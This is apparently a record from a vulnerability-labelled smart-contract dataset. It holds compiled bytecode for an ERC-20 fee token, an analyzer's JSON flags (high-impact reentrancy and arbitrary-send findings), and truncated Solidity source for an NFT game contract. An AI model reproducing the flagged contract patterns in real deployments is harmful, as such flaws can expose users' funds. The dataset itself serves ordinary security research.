5081101561136157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061121b5761121a613e27565b5b90506020020160208101906112309190613221565b73ffffffffffffffffffffffffffffffffffffffff16141580156112c95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061129b5761129a613e27565b5b90506020020160208101906112b09190613221565b73ffffffffffffffffffffffffffffffffffffffff1614155b1561134e576001600660008585858181106112e7576112e6613e27565b5b90506020020160208101906112fc9190613221565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061135990613d80565b9150506111c4565b505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113a7611bb4565b73ffffffffffffffffffffffffffffffffffffffff16146113c757600080fd5b60006113d230610d95565b90506113dd81612556565b50565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611421611bb4565b73ffffffffffffffffffffffffffffffffffffffff161461144157600080fd5b6003811115611485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147c906139a3565b60405180910390fd5b80600a8190555050565b611497611bb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b906139c3565b60405180910390fd5b601560149054906101000a900460ff1615611574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156b90613a63565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061160430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611bbc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561164a57600080fd5b505afa15801561165e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611682919061324e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116e457600080fd5b505afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c919061324e565b6040518363ffffffff1660e01b81526004016117399291906137d3565b602060405180830381600087803b15801561175357600080fd5b505af1158015611767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178b919061324e565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061181430610d95565b60008061181f610fe8565b426040518863ffffffff1660e01b815260040161184196959493929190613825565b6060604051808303818588803b15801561185a57600080fd5b505af115801561186e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611893919061344f565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016119359291906137fc565b602060405180830381600087803b15801561194f57600080fd5b505af1158015611963573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198791906133f5565b506001601560146101000a81548160ff021916908315150217905550610708426119b19190613bbf565b6016819055504260118190555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a02611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614611a2257600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611aaa601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d95565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b77611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614611b9757600080fd5b80601560166101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390613a43565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9390613903565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d7a9190613aa3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee90613a03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5e906138c3565b60405180910390fd5b60008111611eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea1906139e3565b60405180910390fd5b611eb2610fe8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f205750611ef0610fe8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122b157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611fc95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fd257600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561207d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120d35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121bd57601560149054906101000a900460ff16612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211e90613a83565b60405180910390fd5b61012c6011546121379190613bbf565b42111561214c57600d54600b81905550612155565b605a600b819055505b4260165411156121bc57600061216a83610d95565b905061219c606461218e6002683635c9adc5dea000006127a890919063ffffffff16565b61282390919063ffffffff16565b6121af828461286d90919063ffffffff16565b11156121ba57600080fd5b505b5b60006121c830610d95565b9050601560179054906101000a900460ff161580156122355750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561224d5750601560149054906101000a900460ff165b156122af5761012c6011546122629190613bbf565b42111561227757600e54600b81905550612280565b601b600b819055505b6009548111156122ae57601560169054906101000a900460ff166122a45760095490505b6122ad816128cb565b5b5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123585750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061236d575060158054906101000a900460ff165b1561237757600090505b61238384848484612a3d565b50505050565b60008383111582906123d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c891906138a1565b60405180910390fd5b50600083856123e09190613ca0565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243d60028461282390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612468573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124b960028461282390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124e4573d6000803e3d6000fd5b5050565b600060075482111561252f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612526906138e3565b60405180910390fd5b6000612539612a6a565b905061254e818461282390919063ffffffff16565b915050919050565b6000600267ffffffffffffffff81111561257357612572613e56565b5b6040519080825280602002602001820160405280156125a15781602001602082028036833780820191505090505b50905030816000815181106125b9576125b8613e27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265b57600080fd5b505afa15801561266f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612693919061324e565b816001815181106126a7576126a6613e27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270e30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bbc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612772959493929190613abe565b600060405180830381600087803b15801561278c57600080fd5b505af11580156127a0573d6000803e3d6000fd5b505050505050565b6000808314156127bb576000905061281d565b600082846127c99190613c46565b90508284826127d89190613c15565b14612818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280f90613983565b60405180910390fd5b809150505b92915050565b600061286583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a95565b905092915050565b600080828461287c9190613bbf565b9050838110156128c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b890613923565b60405180910390fd5b8091505092915050565b6001601560176101000a81548160ff0219169083151502179055506000600c5460646128f79190613ca0565b905060006129236064612915600c54866127a890919063ffffffff16565b61282390919063ffffffff16565b9050600061293b60028361282390919063ffffffff16565b905060006129528286612af890919063ffffffff16565b9050600047905061296282612556565b60006129778247612af890919063ffffffff16565b905060006129a1606461299389856127a890919063ffffffff16565b61282390919063ffffffff16565b90506129ac816123ed565b600081836129ba9190613ca0565b90506000861180156129cc5750600081115b15612a17576129db8682612b42565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858289604051612a0e93929190613b18565b60405180910390a15b50505050505050506000601560176101000a81548160ff02191690831515021790555050565b80612a4b57612a4a612c36565b5b612a56848484612c79565b80612a6457612a63612e44565b5b50505050565b6000806000612a77612e58565b91509150612a8e818361282390919063ffffffff16565b9250505090565b60008083118290612adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad391906138a1565b60405180910390fd5b5060008385612aeb9190613c15565b9050809150509392505050565b6000612b3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612389565b905092915050565b612b6f30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bbc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080612bbb610fe8565b426040518863ffffffff1660e01b8152600401612bdd96959493929190613825565b6060604051808303818588803b158015612bf657600080fd5b505af1158015612c0a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c2f919061344f565b5050505050565b6000600a54148015612c4a57506000600b54145b15612c5457612c77565b600a54600f81905550600b546010819055506000600a819055506000600b819055505b565b600080600080600080612c8b87612eba565b955095509550955095509550612ce986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d7e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dca81612f22565b612dd48483612fdf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612e319190613aa3565b60405180910390a3505050505050505050565b600f54600a81905550601054600b81905550565b600080600060075490506000683635c9adc5dea000009050612e8e683635c9adc5dea0000060075461282390919063ffffffff16565b821015612ead57600754683635c9adc5dea00000935093505050612eb6565b81819350935050505b9091565b6000806000806000806000806000612ed78a600a54600b54613019565b9250925092506000612ee7612a6a565b90506000806000612efa8e8787876130af565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612f2c612a6a565b90506000612f4382846127a890919063ffffffff16565b9050612f9781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ff482600754612af890919063ffffffff16565b60078190555061300f8160085461286d90919063ffffffff16565b6008819055505050565b6000806000806130456064613037888a6127a890919063ffffffff16565b61282390919063ffffffff16565b9050600061306f6064613061888b6127a890919063ffffffff16565b61282390919063ffffffff16565b905060006130988261308a858c612af890919063ffffffff16565b612af890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806130c885896127a890919063ffffffff16565b905060006130df86896127a890919063ffffffff16565b905060006130f687896127a890919063ffffffff16565b9050600061311f826131118587612af890919063ffffffff16565b612af890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061314781614246565b92915050565b60008151905061315c81614246565b92915050565b6000813590506131718161425d565b92915050565b60008083601f84011261318d5761318c613e8a565b5b8235905067ffffffffffffffff8111156131aa576131a9613e85565b5b6020830191508360208202830111156131c6576131c5613e8f565b5b9250929050565b6000813590506131dc81614274565b92915050565b6000815190506131f181614274565b92915050565b6000813590506132068161428b565b92915050565b60008151905061321b8161428b565b92915050565b60006020828403121561323757613236613e99565b5b600061324584828501613138565b91505092915050565b60006020828403121561326457613263613e99565b5b60006132728482850161314d565b91505092915050565b60006020828403121561329157613290613e99565b5b600061329f84828501613162565b91505092915050565b600080604083850312156132bf576132be613e99565b5b60006132cd85828601613138565b92505060206132de85828601613138565b9150509250929050565b60008060006060848603121561330157613300613e99565b5b600061330f86828701613138565b935050602061332086828701613138565b9250506040613331868287016131f7565b9150509250925092565b6000806040838503121561335257613351613e99565b5b600061336085828601613138565b9250506020613371858286016131f7565b9150509250929050565b6000806020838503121561339257613391613e99565b5b600083013567ffffffffffffffff8111156133b0576133af613e94565b5b6133bc85828601613177565b92509250509250929050565b6000602082840312156133de576133dd613e99565b5b60006133ec848285016131cd565b91505092915050565b60006020828403121561340b5761340a613e99565b5b6000613419848285016131e2565b91505092915050565b60006020828403121561343857613437613e99565b5b6000613446848285016131f7565b91505092915050565b60008060006060848603121561346857613467613e99565b5b60006134768682870161320c565b93505060206134878682870161320c565b92505060406134988682870161320c565b9150509250925092565b60006134ae83836134ba565b60208301905092915050565b6134c381613cd4565b82525050565b6134d281613cd4565b82525050565b60006134e382613b7a565b6134ed8185613b9d565b93506134f883613b6a565b8060005b8381101561352957815161351088826134a2565b975061351b83613b90565b9250506001810190506134fc565b5085935050505092915050565b61353f81613cf8565b82525050565b61354e81613d3b565b82525050565b600061355f82613b85565b6135698185613bae565b9350613579818560208601613d4d565b61358281613e9e565b840191505092915050565b600061359a602383613bae565b91506135a582613eaf565b604082019050919050565b60006135bd602a83613bae565b91506135c882613efe565b604082019050919050565b60006135e0602283613bae565b91506135eb82613f4d565b604082019050919050565b6000613603601b83613bae565b915061360e82613f9c565b602082019050919050565b6000613626603183613bae565b915061363182613fc5565b604082019050919050565b6000613649601d83613bae565b915061365482614014565b602082019050919050565b600061366c602183613bae565b91506136778261403d565b604082019050919050565b600061368f601783613bae565b915061369a8261408c565b602082019050919050565b60006136b2602083613bae565b91506136bd826140b5565b602082019050919050565b60006136d5602983613bae565b91506136e0826140de565b604082019050919050565b60006136f8602583613bae565b91506137038261412d565b604082019050919050565b600061371b601b83613bae565b91506137268261417c565b602082019050919050565b600061373e602483613bae565b9150613749826141a5565b604082019050919050565b6000613761601783613bae565b915061376c826141f4565b602082019050919050565b6000613784601883613bae565b915061378f8261421d565b602082019050919050565b6137a381613d24565b82525050565b6137b281613d2e565b82525050565b60006020820190506137cd60008301846134c9565b92915050565b60006040820190506137e860008301856134c9565b6137f560208301846134c9565b9392505050565b600060408201905061381160008301856134c9565b61381e602083018461379a565b9392505050565b600060c08201905061383a60008301896134c9565b613847602083018861379a565b6138546040830187613545565b6138616060830186613545565b61386e60808301856134c9565b61387b60a083018461379a565b979650505050505050565b600060208201905061389b6000830184613536565b92915050565b600060208201905081810360008301526138bb8184613554565b905092915050565b600060208201905081810360008301526138dc8161358d565b9050919050565b600060208201905081810360008301526138fc816135b0565b9050919050565b6000602082019050818103600083015261391c816135d3565b9050919050565b6000602082019050818103600083015261393c816135f6565b9050919050565b6000602082019050818103600083015261395c81613619565b9050919050565b6000602082019050818103600083015261397c8161363c565b9050919050565b6000602082019050818103600083015261399c8161365f565b9050919050565b600060208201905081810360008301526139bc81613682565b9050919050565b600060208201905081810360008301526139dc816136a5565b9050919050565b600060208201905081810360008301526139fc816136c8565b9050919050565b60006020820190508181036000830152613a1c816136eb565b9050919050565b60006020820190508181036000830152613a3c8161370e565b9050919050565b60006020820190508181036000830152613a5c81613731565b9050919050565b60006020820190508181036000830152613a7c81613754565b9050919050565b60006020820190508181036000830152613a9c81613777565b9050919050565b6000602082019050613ab8600083018461379a565b92915050565b600060a082019050613ad3600083018861379a565b613ae06020830187613545565b8181036040830152613af281866134d8565b9050613b0160608301856134c9565b613b0e608083018461379a565b9695505050505050565b6000606082019050613b2d600083018661379a565b613b3a602083018561379a565b613b47604083018461379a565b949350505050565b6000602082019050613b6460008301846137a9565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613bca82613d24565b9150613bd583613d24565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c0a57613c09613dc9565b5b828201905092915050565b6000613c2082613d24565b9150613c2b83613d24565b925082613c3b57613c3a613df8565b5b828204905092915050565b6000613c5182613d24565b9150613c5c83613d24565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c9557613c94613dc9565b5b828202905092915050565b6000613cab82613d24565b9150613cb683613d24565b925082821015613cc957613cc8613dc9565b5b828203905092915050565b6000613cdf82613d04565b9050919050565b6000613cf182613d04565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613d4682613d24565b9050919050565b60005b83811015613d6b578082015181840152602081019050613d50565b83811115613d7a576000848401525b50505050565b6000613d8b82613d24565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613dbe57613dbd613dc9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6c6971756964697479206665652070657263656e74616765206d75737420626560008201527f206265747765656e203020746f20313030000000000000000000000000000000602082015250565b7f53656c6c20666565206d757374206265206c657373207468616e203230000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f746178206d757374206265206c657373207468616e2033000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42757920666565206d757374206265206c657373207468616e20370000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61424f81613cd4565b811461425a57600080fd5b50565b61426681613ce6565b811461427157600080fd5b50565b61427d81613cf8565b811461428857600080fd5b50565b61429481613d24565b811461429f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7ed37d0699b5dc6b6772eafe64525507e5bd473d0875c1379f33c3151df50a564736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,031
0xd3029a0F7F8aF5147bF706b0A9dfAb89ddEebD62
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface EthereansInterface { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); } interface InvaderTokenInterface { function claimReward(address owner, uint amount) external; function burnFrom(address from, uint amount) external; } interface EmpireDropsInterface { function mint(address from, uint tokenId) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } contract EthereanEmpire is Ownable { using SafeMath for uint256; event EmpireCreated(address owner, string name, string motto); event EmpireCustomized(address owner, string newName, string newMotto); event RewardClaimed(address claimer, uint amount); event DropCreated(uint tokenId, string title, string description, string artist, uint cost, uint supply, uint end); event DropMinted(address minter, uint dropId); struct Empire { string name; string motto; bool exists; } struct Drop { uint tokenId; string title; string description; string artist; uint cost; uint supply; uint end; bool exists; uint minted; } uint public ETHEREAN_MIN = 3; uint public EMPIRE_EDIT_FEE = 200 ether; uint public numDrops = 0; address public ETHEREANS_CONTRACT_ADDRESS; address public INVADER_CONTRACT_ADDRESS; address public EMPIRE_DROPS_CONTRACT_ADDRESS; uint constant public END_REWARDS = 1735693200; EthereansInterface private ethereanContract; InvaderTokenInterface private invaderContract; EmpireDropsInterface private empireDropsContract; mapping(address => Empire) public empires; address[] private empireAddresses; mapping(uint => uint) public tokenToLastUpdated; mapping(uint => Drop) public drops; mapping(address => mapping(uint => bool)) public addressOwnsDrop; constructor(address _ethereansAddress, address _invaderAddress) { ETHEREANS_CONTRACT_ADDRESS = _ethereansAddress; ethereanContract = EthereansInterface(_ethereansAddress); INVADER_CONTRACT_ADDRESS = _invaderAddress; invaderContract = InvaderTokenInterface(_invaderAddress); } function setEthereansContractAddress(address _contractAddress) external onlyOwner() { ETHEREANS_CONTRACT_ADDRESS = _contractAddress; ethereanContract = EthereansInterface(_contractAddress); } function setEmpireDropsContractAddress(address _contractAddress) external onlyOwner() { EMPIRE_DROPS_CONTRACT_ADDRESS = _contractAddress; empireDropsContract = EmpireDropsInterface(_contractAddress); } function newEmpire(string memory _name, string memory _motto) public { require(empires[msg.sender].exists == false, "Only one empire per wallet."); require(ethereanContract.balanceOf(msg.sender) >= ETHEREAN_MIN, "Did not meet minimum ethereans requirement."); empires[msg.sender] = Empire(_name, _motto, true); empireAddresses.push(msg.sender); emit EmpireCreated(msg.sender, _name, _motto); } function newDrop(uint _tokenId, string memory _title, string memory _description, string memory _artist, uint _cost, uint _supply, uint _end) external onlyOwner() { require(_tokenId >= 0, "Must supply a tokenId"); require(_supply > 0, "Supply must be greater than 1."); require(block.timestamp < _end, "End date must be set in the future"); numDrops = numDrops.add(1); drops[numDrops] = Drop(_tokenId, _title, _description, _artist, _cost, _supply, _end, true, 0); emit DropCreated(_tokenId, _title, _description, _artist, _cost, _supply, _end); } function getEmpireAddresses() public view returns (address[] memory) { return empireAddresses; } function setEmpireEditFee(uint _newFee) external onlyOwner(){ EMPIRE_EDIT_FEE = _newFee; } modifier hasEmpire { require(empires[msg.sender].exists == true, "Does not own empire."); _; } function customizeEmpire(string memory _newName, string memory _newMotto) external hasEmpire(){ invaderContract.burnFrom(msg.sender, EMPIRE_EDIT_FEE); empires[msg.sender].name = _newName; empires[msg.sender].motto = _newMotto; emit EmpireCustomized(msg.sender, _newName, _newMotto); } function claimReward(uint[] memory _tokenIds) external hasEmpire() { uint ethereanBalance = ethereanContract.balanceOf(msg.sender); require(ethereanBalance >= ETHEREAN_MIN, "Did not meet minimum ethereans requirement to claim rewards."); uint currentTime = min(block.timestamp, END_REWARDS); uint totalElapsedTime; for (uint i=0; i<_tokenIds.length; i++) { uint tokenId = _tokenIds[i]; uint lastUpdated = tokenToLastUpdated[tokenId]; require(ethereanContract.ownerOf(tokenId) == msg.sender, "Etherean does not belong to you."); if (lastUpdated == 0) { tokenToLastUpdated[tokenId] = currentTime; } else if (lastUpdated > 0) { totalElapsedTime += currentTime.sub(lastUpdated); tokenToLastUpdated[tokenId] = currentTime; } } if (totalElapsedTime 